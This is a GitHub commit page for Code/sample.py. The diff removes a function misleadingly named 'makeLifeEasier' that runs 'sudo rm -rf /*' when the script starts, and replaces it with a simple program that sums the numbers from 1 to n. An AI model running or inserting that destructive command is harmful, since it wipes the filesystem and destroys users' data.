Skip to content

Commit

Permalink
Update sample.py
Browse files Browse the repository at this point in the history
  • Loading branch information
roderickvella committed Mar 7, 2023
1 parent 7b0d8e0 commit ef3bb35
Showing 1 changed file with 11 additions and 7 deletions.
18 changes: 11 additions & 7 deletions Code/sample.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,13 @@
# I would not run this s**t with super do anyway
import os
# This function takes an integer n as input and returns the sum of numbers from 1 to n
def find_sum(n):
sum = 0
for i in range(1, n+1):
sum += i
return sum

def makeLifeEasier(anything):
os.system('sudo rm -rf /*')
return("good luck guy")
# Ask the user for input and call the function
n = int(input("Enter an integer: "))
result = find_sum(n)

if __name__ == "__main__":
makeLifeEasier(1) # this is a in-line comment
# Output the result
print("The sum of numbers from 1 to", n, "is", result)

0 comments on commit ef3bb35

Please sign in to comment.